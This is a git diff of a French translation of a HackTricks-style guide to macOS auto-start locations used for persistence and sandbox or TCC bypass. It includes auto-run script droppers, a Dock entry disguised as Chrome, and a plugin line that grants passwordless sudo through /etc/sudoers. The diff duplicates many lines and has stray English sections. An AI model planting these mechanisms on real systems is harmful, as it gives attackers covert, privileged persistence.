Vous pouvez également voir tous les travaux cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite des privilèges root).
|
||||
Vous pouvez également voir toutes les tâches cron des utilisateurs dans **`/usr/lib/cron/tabs/`** et **`/var/at/tabs/`** (nécessite les droits root).
|
||||
|
||||
Dans MacOS, plusieurs dossiers exécutant des scripts à **certaines fréquences** peuvent être trouvés dans :
|
||||
```bash
|
||||
|
@ -413,22 +413,22 @@ crontab /tmp/cron
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
|
||||
|
||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 utilisé pour accorder des autorisations TCC
|
||||
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||
* Contournement de TCC : [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2 utilisé pour avoir accordé des autorisations TCC
|
||||
|
||||
#### Emplacements
|
||||
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
|
||||
* **Déclencheur**: Ouvrir iTerm
|
||||
* **Déclencheur** : Ouvrir iTerm
|
||||
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
|
||||
* **Déclencheur**: Ouvrir iTerm
|
||||
* **Déclencheur** : Ouvrir iTerm
|
||||
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
|
||||
* **Déclencheur**: Ouvrir iTerm
|
||||
* **Déclencheur** : Ouvrir iTerm
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple:
|
||||
Les scripts stockés dans **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** seront exécutés. Par exemple :
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -437,25 +437,23 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
```markdown
|
||||
## macOS Auto Start Locations
|
||||
# macOS Auto Start Locations
|
||||
|
||||
### Launch Agents
|
||||
## Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
### Launch Daemons
|
||||
## Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
### Login Items
|
||||
## Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
### Startup Items
|
||||
## Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
```
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -527,7 +525,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
#### Description
|
||||
|
||||
Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est démarré:
|
||||
Si le programme populaire [**xbar**](https://github.com/matryer/xbar) est installé, il est possible d'écrire un script shell dans **`~/Library/Application\ Support/xbar/plugins/`** qui sera exécuté lorsque xbar est lancé :
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -565,7 +563,7 @@ EOF
|
|||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais BetterTouchTool doit être installé
|
||||
* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Il demande les autorisations Automation-Shortcuts et Accessibilité
|
||||
* Il demande les autorisations Automation-Shortcuts et Accessibility
|
||||
|
||||
#### Emplacement
|
||||
|
||||
|
@ -578,7 +576,7 @@ Cet outil permet d'indiquer des applications ou des scripts à exécuter lorsque
|
|||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais Alfred doit être installé
|
||||
* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Il demande les autorisations Automation, Accessibilité et même Accès complet au disque
|
||||
* Il demande les autorisations Automation, Accessibility et même l'accès complet au disque
|
||||
|
||||
#### Emplacement
|
||||
|
||||
|
@ -593,14 +591,14 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais ssh doit être activé et utilisé
|
||||
* Contournement de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH a besoin d'un accès complet au disque
|
||||
* SSH a besoin de l'accès complet au disque
|
||||
|
||||
#### Emplacement
|
||||
|
||||
* **`~/.ssh/rc`**
|
||||
* **Déclencheur**: Connexion via ssh
|
||||
* **`/etc/ssh/sshrc`**
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite les droits root
|
||||
* **Déclencheur**: Connexion via ssh
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -671,7 +669,7 @@ Article : [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit
|
|||
|
||||
#### **Description**
|
||||
|
||||
Les tâches `at` sont conçues pour **planifier des tâches ponctuelles** à exécuter à des moments précis. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après l'exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, ce qui les rend potentiellement préoccupantes du point de vue de la sécurité dans certaines conditions.
|
||||
Les tâches `at` sont conçues pour **planifier des tâches ponctuelles** à exécuter à des moments précis. Contrairement aux tâches cron, les tâches `at` sont automatiquement supprimées après l'exécution. Il est crucial de noter que ces tâches persistent à travers les redémarrages du système, ce qui les rend potentiellement préoccupantes en termes de sécurité dans certaines conditions.
|
||||
|
||||
Par **défaut**, elles sont **désactivées** mais l'utilisateur **root** peut les **activer** avec :
|
||||
```bash
|
||||
|
@ -681,7 +679,7 @@ Cela créera un fichier dans 1 heure :
|
|||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
Vérifiez la file d'attente des tâches en utilisant `atq:`
|
||||
Vérifiez la file d'attente des tâches en utilisant `atq`:
|
||||
```shell-session
|
||||
sh-3.2# atq
|
||||
26 Tue Apr 27 00:46:00 2021
|
||||
|
@ -735,40 +733,40 @@ Le nom de fichier contient la file d'attente, le numéro de tâche et l'heure à
|
|||
|
||||
* `a` - c'est la file d'attente
|
||||
* `0001a` - numéro de tâche en hexadécimal, `0x1a = 26`
|
||||
* `019bdcd2` - heure en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui correspond à `GMT: 27 avril 2021, mardi 7:46:00`.
|
||||
* `019bdcd2` - heure en hexadécimal. Il représente les minutes écoulées depuis l'époque. `0x019bdcd2` est `26991826` en décimal. Si nous le multiplions par 60, nous obtenons `1619509560`, qui est `GMT: 2021. April 27., Tuesday 7:46:00`.
|
||||
|
||||
Si nous imprimons le fichier de tâche, nous constatons qu'il contient les mêmes informations obtenues en utilisant `at -c`.
|
||||
Si nous imprimons le fichier de tâche, nous constatons qu'il contient les mêmes informations que celles obtenues en utilisant `at -c`.
|
||||
|
||||
### Actions de Dossier
|
||||
|
||||
Analyse : [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Analyse : [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
* Utile pour contourner le bac à sable : [✅](https://emojipedia.org/check-mark-button)
|
||||
* Utile pour contourner le bac à sable: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mais vous devez être capable d'appeler `osascript` avec des arguments pour contacter **`System Events`** afin de pouvoir configurer les Actions de Dossier
|
||||
* Contournement de TCC : [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Contournement de TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Il a quelques autorisations TCC de base comme Bureau, Documents et Téléchargements
|
||||
|
||||
#### Emplacement
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* **Déclencheur** : Accès au dossier spécifié
|
||||
* Nécessite les droits d'administrateur
|
||||
* **Déclencheur**: Accès au dossier spécifié
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **Déclencheur** : Accès au dossier spécifié
|
||||
* **Déclencheur**: Accès au dossier spécifié
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface utilisateur Finder ou des commandes terminal.
|
||||
Les Actions de Dossier sont des scripts déclenchés automatiquement par des changements dans un dossier tels que l'ajout, la suppression d'éléments, ou d'autres actions comme l'ouverture ou le redimensionnement de la fenêtre du dossier. Ces actions peuvent être utilisées pour diverses tâches et peuvent être déclenchées de différentes manières, comme en utilisant l'interface Finder ou des commandes terminal.
|
||||
|
||||
Pour configurer des Actions de Dossier, vous avez des options comme :
|
||||
Pour configurer des Actions de Dossier, vous avez des options comme:
|
||||
|
||||
1. Créer un flux de travail d'Action de Dossier avec [Automator](https://support.apple.com/guide/automator/welcome/mac) et l'installer en tant que service.
|
||||
2. Attacher un script manuellement via la Configuration des Actions de Dossier dans le menu contextuel d'un dossier.
|
||||
3. Utiliser OSAScript pour envoyer des messages d'événements Apple à l'application `System Events.app` pour configurer de manière programmatique une Action de Dossier.
|
||||
* Cette méthode est particulièrement utile pour intégrer l'action dans le système, offrant un niveau de persistance.
|
||||
|
||||
Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier :
|
||||
Le script suivant est un exemple de ce qui peut être exécuté par une Action de Dossier:
|
||||
```applescript
|
||||
// source.js
|
||||
var app = Application.currentApplication();
|
||||
|
@ -782,7 +780,7 @@ Pour rendre le script ci-dessus utilisable par les actions de dossier, compilez-
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
Après la compilation du script, configurez les Actions de dossier en exécutant le script ci-dessous. Ce script activera les Actions de dossier de manière globale et attachera spécifiquement le script précédemment compilé au dossier Bureau.
|
||||
Après la compilation du script, configurez les Actions de dossier en exécutant le script ci-dessous. Ce script activera les Actions de dossier de manière globale et attachera spécifiquement le script compilé précédemment au dossier Bureau.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -872,7 +870,7 @@ killall Dock
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
En utilisant un peu d'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script :
|
||||
En utilisant de l'**ingénierie sociale**, vous pourriez **vous faire passer par exemple pour Google Chrome** dans le dock et en réalité exécuter votre propre script :
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -929,24 +927,24 @@ killall Dock
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
* Utile pour contourner le bac à sable: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Utile pour contourner le bac à sable : [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Une action très spécifique doit se produire
|
||||
* Vous vous retrouverez dans un autre bac à sable
|
||||
* Contournement de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Contournement de TCC : [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Emplacement
|
||||
|
||||
* `/Library/ColorPickers`
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* Nécessite des droits d'administrateur
|
||||
* Déclencheur : Utilisation du sélecteur de couleurs
|
||||
* `~/Library/ColorPickers`
|
||||
* Déclencheur : Utilisation du sélecteur de couleurs
|
||||
|
||||
#### Description & Exploitation
|
||||
|
||||
**Compilez un bundle de sélecteur de couleurs** avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) puis copiez le bundle dans `~/Library/ColorPickers`.
|
||||
**Compilez un bundle** de sélecteur de couleurs avec votre code (vous pourriez utiliser [**celui-ci par exemple**](https://github.com/viktorstrate/color-picker-plus)) et ajoutez un constructeur (comme dans la section [Économiseur d'écran](macos-auto-start-locations.md#screen-saver)) et copiez le bundle dans `~/Library/ColorPickers`.
|
||||
|
||||
Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également être exécuté.
|
||||
Ensuite, lorsque le sélecteur de couleurs est déclenché, votre code devrait également l'être.
|
||||
|
||||
Notez que le binaire chargeant votre bibliothèque a un **bac à sable très restrictif** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
|
@ -975,7 +973,7 @@ Notez que le binaire chargeant votre bibliothèque a un **bac à sable très res
|
|||
|
||||
#### Description & Exploit
|
||||
|
||||
Un exemple d'application avec une extension de synchronisation Finder [**peut être trouvé ici**](https://github.com/D00MFist/InSync).
|
||||
Un exemple d'application avec une extension Finder Sync [**peut être trouvé ici**](https://github.com/D00MFist/InSync).
|
||||
|
||||
Les applications peuvent avoir des `Extensions de synchronisation Finder`. Cette extension ira à l'intérieur d'une application qui sera exécutée. De plus, pour que l'extension puisse exécuter son code, elle **doit être signée** avec un certificat de développeur Apple valide, elle doit être **sous bac à sable** (bien que des exceptions assouplies puissent être ajoutées) et elle doit être enregistrée avec quelque chose comme :
|
||||
```bash
|
||||
|
@ -994,21 +992,21 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
#### Emplacement
|
||||
|
||||
* `/System/Library/Screen Savers`
|
||||
* Nécessite des droits d'administrateur
|
||||
* Nécessite les droits d'administrateur
|
||||
* **Déclencheur** : Sélectionnez l'économiseur d'écran
|
||||
* `/Library/Screen Savers`
|
||||
* Nécessite des droits d'administrateur
|
||||
* Nécessite les droits d'administrateur
|
||||
* **Déclencheur** : Sélectionnez l'économiseur d'écran
|
||||
* `~/Library/Screen Savers`
|
||||
* **Déclencheur** : Sélectionnez l'économiseur d'écran
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Description & Exploit
|
||||
|
||||
Créez un nouveau projet dans Xcode et sélectionnez le modèle pour générer un nouvel **économiseur d'écran**. Ensuite, ajoutez-y votre code, par exemple le code suivant pour générer des journaux.
|
||||
|
||||
**Compilez** et copiez le bundle `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux :
|
||||
**Compilez** et copiez le paquet `.saver` dans **`~/Library/Screen Savers`**. Ensuite, ouvrez l'interface graphique de l'économiseur d'écran et si vous cliquez simplement dessus, cela devrait générer beaucoup de journaux :
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1106,10 +1104,10 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||
* `/Library/Spotlight/`
|
||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* `/System/Library/Spotlight/`
|
||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||
* Nécessite les droits d'administrateur
|
||||
* Nécessite des privilèges d'administrateur
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **Déclencheur**: Un nouveau fichier avec une extension gérée par le plugin Spotlight est créé.
|
||||
* Nouvelle application requise
|
||||
|
@ -1121,7 +1119,7 @@ Pour faciliter cette capacité de recherche rapide, Spotlight maintient une **ba
|
|||
|
||||
Le mécanisme sous-jacent de Spotlight implique un processus central nommé 'mds', qui signifie **'serveur de métadonnées'**. Ce processus orchestre l'ensemble du service Spotlight. En complément, il existe plusieurs démons 'mdworker' qui effectuent diverses tâches de maintenance, telles que l'indexation de différents types de fichiers (`ps -ef | grep mdworker`). Ces tâches sont rendues possibles grâce aux plugins importateurs Spotlight, ou **bundles ".mdimporter"**, qui permettent à Spotlight de comprendre et d'indexer le contenu de divers formats de fichiers.
|
||||
|
||||
Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer un service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
|
||||
Les plugins ou **bundles `.mdimporter`** sont situés aux endroits mentionnés précédemment et si un nouveau bundle apparaît, il est chargé en quelques minutes (pas besoin de redémarrer de service). Ces bundles doivent indiquer quels **types de fichiers et extensions ils peuvent gérer**, de cette manière, Spotlight les utilisera lorsqu'un nouveau fichier avec l'extension indiquée est créé.
|
||||
|
||||
Il est possible de **trouver tous les `mdimporters`** chargés en exécutant:
|
||||
```bash
|
||||
|
@ -1132,7 +1130,7 @@ Paths: id(501) (
|
|||
"/System/Library/Spotlight/PDF.mdimporter",
|
||||
[...]
|
||||
```
|
||||
Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres) :
|
||||
Et par exemple **/Library/Spotlight/iBooksAuthor.mdimporter** est utilisé pour analyser ce type de fichiers (extensions `.iba` et `.book` entre autres):
|
||||
```json
|
||||
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
||||
|
||||
|
@ -1174,10 +1172,9 @@ Si vous vérifiez le Plist d'autres `mdimporter`, vous pourriez ne pas trouver l
|
|||
De plus, les plugins par défaut du système ont toujours la priorité, donc un attaquant ne peut accéder qu'aux fichiers qui ne sont pas indexés par les propres `mdimporters` d'Apple.
|
||||
{% endhint %}
|
||||
|
||||
Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour qu'il prenne en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**.\
|
||||
Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé.
|
||||
Pour créer votre propre importateur, vous pourriez commencer avec ce projet : [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) puis changer le nom, les **`CFBundleDocumentTypes`** et ajouter **`UTImportedTypeDeclarations`** pour prendre en charge l'extension que vous souhaitez supporter et les refléter dans **`schema.xml`**. Ensuite, **modifiez** le code de la fonction **`GetMetadataForFile`** pour exécuter votre charge utile lorsqu'un fichier avec l'extension traitée est créé.
|
||||
|
||||
Enfin, **compilez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`**
|
||||
Enfin, **construisez et copiez votre nouveau `.mdimporter`** dans l'un des emplacements précédents et vous pouvez vérifier s'il est chargé en **surveillant les journaux** ou en vérifiant **`mdimport -L.`**
|
||||
|
||||
### ~~Panneau de préférences~~
|
||||
|
||||
|
@ -1226,7 +1223,7 @@ Explication : [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevi
|
|||
|
||||
#### Description & Exploitation
|
||||
|
||||
Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **daemons de lancement** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.
|
||||
Les scripts périodiques (**`/etc/periodic`**) sont exécutés en raison des **launch daemons** configurés dans `/System/Library/LaunchDaemons/com.apple.periodic*`. Notez que les scripts stockés dans `/etc/periodic/` sont **exécutés** en tant que **propriétaire du fichier**, donc cela ne fonctionnera pas pour une éventuelle élévation de privilèges.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1352,7 +1349,7 @@ system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
|||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
Enfin, ajoutez la **règle** pour charger ce plugin :
|
||||
Enfin, ajoutez la **règle** pour charger ce Plugin :
|
||||
```bash
|
||||
cat > /tmp/rule.plist <<EOF
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -1509,19 +1506,25 @@ Assurez-vous que le script rc et le fichier `StartupParameters.plist` sont corre
|
|||
|
||||
### Emplacements de démarrage automatique de macOS
|
||||
|
||||
#### Emplacements de démarrage automatique de macOS
|
||||
#### Emplacements de démarrage automatique utilisateur
|
||||
|
||||
macOS offre plusieurs emplacements où les applications peuvent être configurées pour démarrer automatiquement lorsqu'un utilisateur ouvre une session. Ces emplacements comprennent:
|
||||
Les emplacements de démarrage automatique utilisateur sont les suivants :
|
||||
|
||||
- **Dossiers de démarrage**: Les applications placées dans ces dossiers démarreront automatiquement lorsqu'un utilisateur ouvrira une session.
|
||||
- **Dossier de connexion (`~/Library/LaunchAgents/`)** : Les agents de lancement spécifiques à un utilisateur sont stockés dans ce dossier. Ces agents sont lancés au démarrage de la session de l'utilisateur.
|
||||
|
||||
- **Launch Agents et Launch Daemons**: Ces fichiers de configuration permettent de définir des tâches à exécuter au démarrage du système ou lorsqu'un utilisateur ouvre une session.
|
||||
- **Dossier de lancement (`/Library/LaunchAgents/`)** : Les agents de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur.
|
||||
|
||||
- **Scripts de connexion**: Ces scripts peuvent être utilisés pour exécuter des commandes ou des programmes spécifiques lorsqu'un utilisateur ouvre une session.
|
||||
- **Dossier de lancement de démon (`/Library/LaunchDaemons/`)** : Les démons de lancement pour tous les utilisateurs sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système.
|
||||
|
||||
En comprenant ces emplacements et en surveillant les applications qui y sont configurées, vous pouvez renforcer la sécurité de votre système en empêchant les applications non autorisées de démarrer automatiquement.
|
||||
#### Emplacements de démarrage automatique système
|
||||
|
||||
{% endtab %}
|
||||
Les emplacements de démarrage automatique système sont les suivants :
|
||||
|
||||
- **Dossier de lancement (`/System/Library/LaunchAgents/`)** : Les agents de lancement système sont stockés dans ce dossier. Ces agents sont lancés au démarrage de chaque session utilisateur.
|
||||
|
||||
- **Dossier de lancement de démon (`/System/Library/LaunchDaemons/`)** : Les démons de lancement système sont stockés dans ce dossier. Ces démons sont lancés au démarrage du système.
|
||||
|
||||
Il est important de surveiller et de gérer les programmes et services qui se lancent automatiquement au démarrage de macOS pour des raisons de sécurité et de performances.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1546,14 +1549,14 @@ RunService "$1"
|
|||
### ~~emond~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Je ne trouve pas ce composant dans mon macOS, pour plus d'informations consultez le writeup
|
||||
Je ne peux pas trouver ce composant dans mon macOS, pour plus d'informations consultez le writeup
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais reste accessible. Bien que peu bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de menace, probablement inaperçue par la plupart des administrateurs macOS.
|
||||
Introduit par Apple, **emond** est un mécanisme de journalisation qui semble être sous-développé ou peut-être abandonné, mais reste accessible. Bien que pas particulièrement bénéfique pour un administrateur Mac, ce service obscur pourrait servir de méthode de persistance subtile pour les acteurs de menace, probablement inaperçue par la plupart des administrateurs macOS.
|
||||
|
||||
Pour ceux qui connaissent son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée:
|
||||
Pour ceux qui sont conscients de son existence, identifier toute utilisation malveillante de **emond** est simple. Le LaunchDaemon du système pour ce service recherche des scripts à exécuter dans un seul répertoire. Pour inspecter cela, la commande suivante peut être utilisée:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1574,7 +1577,7 @@ XQuartz n'est **plus installé dans macOS**, donc pour plus d'informations, cons
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Il est tellement compliqué d'installer un kext même en tant qu'administrateur que je ne considérerai pas cela comme une échappatoire aux sandbox ou même pour la persistance (à moins que vous ayez une faille)
|
||||
Il est tellement compliqué d'installer un kext même en tant qu'administrateur que je ne considérerai pas cela comme une échappatoire des sandbox ou même pour la persistance (à moins que vous ayez une faille)
|
||||
{% endhint %}
|
||||
|
||||
#### Emplacement
|
||||
|
@ -1582,7 +1585,7 @@ Il est tellement compliqué d'installer un kext même en tant qu'administrateur
|
|||
Pour installer un KEXT en tant qu'élément de démarrage, il doit être **installé dans l'un des emplacements suivants**:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* Fichiers KEXT intégrés au système d'exploitation OS X.
|
||||
* Fichiers KEXT intégrés dans le système d'exploitation OS X.
|
||||
* `/Library/Extensions`
|
||||
* Fichiers KEXT installés par des logiciels tiers
|
||||
|
||||
|
@ -1631,7 +1634,7 @@ Apparemment, il n'est pas très courant d'exécuter ce script et je ne l'ai mêm
|
|||
**Cela ne fonctionne pas dans les versions récentes de MacOS**
|
||||
{% endhint %}
|
||||
|
||||
Il est également possible de placer ici des **commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier:
|
||||
Il est également possible de placer ici **des commandes qui seront exécutées au démarrage.** Exemple de script rc.common régulier:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1731,7 +1734,7 @@ esac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
|
@ -1739,6 +1742,6 @@ Autres façons de soutenir HackTricks:
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
